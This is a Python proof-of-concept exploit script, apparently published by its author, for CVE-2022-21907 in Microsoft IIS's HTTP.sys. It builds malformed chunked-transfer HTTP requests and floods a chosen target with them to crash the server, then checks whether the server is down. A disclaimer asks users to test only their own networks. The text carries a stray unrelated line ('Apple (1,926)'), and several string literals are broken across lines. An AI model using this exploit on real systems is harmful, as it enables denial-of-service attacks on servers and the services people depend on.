

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Exploit developed by the polakow from the past (@ltdominikow)
# This exploit was made for testing own networks and patch affected systems. I'm not responsible if you do another thing with this exploit.
# As a drunk wise man said: "Please, don't be a 'culiao'!" Use this exploit for testing your own network and patch your affected systems.

from colorama import Fore, Style, init
import argparse
import socket
import ssl
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def banner():
    print(f"""\n\n{Fore.GREEN} ***** **          *      ****              ****   ****   ****   ****           ****   ***
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////////// // ////////// /// ///////////// ///////////// ///////////// ////////////// """)
    print(f"\n\nAuthor: polakow(@ltdominikow)\n{Style.RESET_ALL}")
    print(f"{Fore.RED}[!] Warning: This exploit was made for testing own networks and patch affected systems.
I'm not responsible if you do another thing with this exploit.{Style.RESET_ALL}\n")
    print(f"{Fore.CYAN}[*] Patch URL: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-
21907{Style.RESET_ALL}\n")

def parseArgs():
    parser = argparse.ArgumentParser(description="Description message")
    parser.add_argument("-t", "--target", default=None, required=True, help="IIS Server. For instance:
192.168.1.110")
    parser.add_argument("-p", "--port", default=None, required=True, help="Port of the IIS server. For
instance: 80")
    parser.add_argument("-v", "--ipversion", default=None, required=True, help="IP version: 4 or 6")
    return parser.parse_args()

def isServiceRunning(ip, port, ipVersion):
    if port == 443:
        targetURL = "https://"
    else:
        targetURL = "http://"

    if ipVersion == 6:
        targetURL = targetURL + '[' + ip + ']'
    else:
        targetURL = targetURL + ip

    try:
        requests.get(targetURL, timeout=4, verify=False)
    except Exception as e:
        return False

    return True

def checkServerStatus(ip, port, ipVersion):
    if isServiceRunning(ip, port, ipVersion):
        print(f'[*] The server is {Fore.GREEN}running{Style.RESET_ALL}!')
    else:
        print(f'[!] The server is {Fore.RED}not running{Style.RESET_ALL}!')

def exploit(ip, port, ipVersion):
    print("[*] Attacking: %s on port %d" % (ip, port))

    # Evil request
```

Apple (1,926)

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    data = "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 +
"\r\n" + "200\r\n" + "A" * 0x200 + "\r\n"

    if ipVersion == 6:
        payload = "GET / HTTP/1.1\r\nHost: " + '[' + ip + ']' + ":" + str(port) + "\r\nTE:
trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"
        payload2 = "GET /\r\nHost: " + '[' + ip + ']' + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-
Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"
    else:
        payload = "GET / HTTP/1.1\r\nHost: " + ip + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding:
chunked\r\n\r\n" + data + data + "0\r\n\r\n"
        payload2 = "GET /\r\nHost: " + ip + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding:
chunked\r\n\r\n" + data + data + "0\r\n\r\n"

    # Attack!

    for i in range(0, 100000):
        try:
            # IPv6
            if ipVersion == 6:
                s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
            else:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            s.settimeout(5)

            # Attack HTTPS or HTTP

            if port == 443:
                context = ssl._create_unverified_context()
                so = context.wrap_socket(s, server_hostname=ip)

                so.connect((ip, port))
                so.sendall(payload.encode('ascii'))
                if i % 10000 == 0:
                    print("[*] Sending evil payload...")
                so.sendall(payload2.encode('ascii'))
            else:
                s.connect((ip, port))
                s.sendall(payload.encode('ascii'))
                if i % 10000 == 0:
                    print("[*] Sending evil payload...")
                s.sendall(payload2.encode('ascii'))
        except socket.timeout:
            print("[*] Timeout! Checking server status...")
            checkServerStatus(ip, port, ipVersion)
            break
        except Exception as e:
            print(e)
            break

if __name__ == '__main__':
    init(convert=True)

    # Banner

    banner()

    # Args
    args = parseArgs()

    port = args.port
    ipVersion = args.ipversion

    # Check digits

    if not port.isdigit() and not ipVersion.isdigit():
        print("The port must be a number!")
        exit(1)

    # Remove protocol

    if args.target.startswith('https://'):
        ip = args.target.replace("https://", "")
    elif args.target.startswith('http://'):
        ip = args.target.replace("http://", "")
    else:
        ip = args.target

    # Remove backslash

    if ip.endswith("/"):
        ip = ip.replace("/", "")

    # Remove ipv6 http/https

    if ip.endswith("[") and ip.startswith("["):
        ip = ip.replace("[", "").replace("]", "")

    # Check ip version

    if not int(ipVersion) == 6 and not int(ipVersion) == 4:
        print("The IP version is invalid.")
        exit(1)

    # Check server status

    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

    checkServerStatus(ip, int(port), int(ipVersion))

    # Exploit!

    exploit(ip, int(port), int(ipVersion))

```

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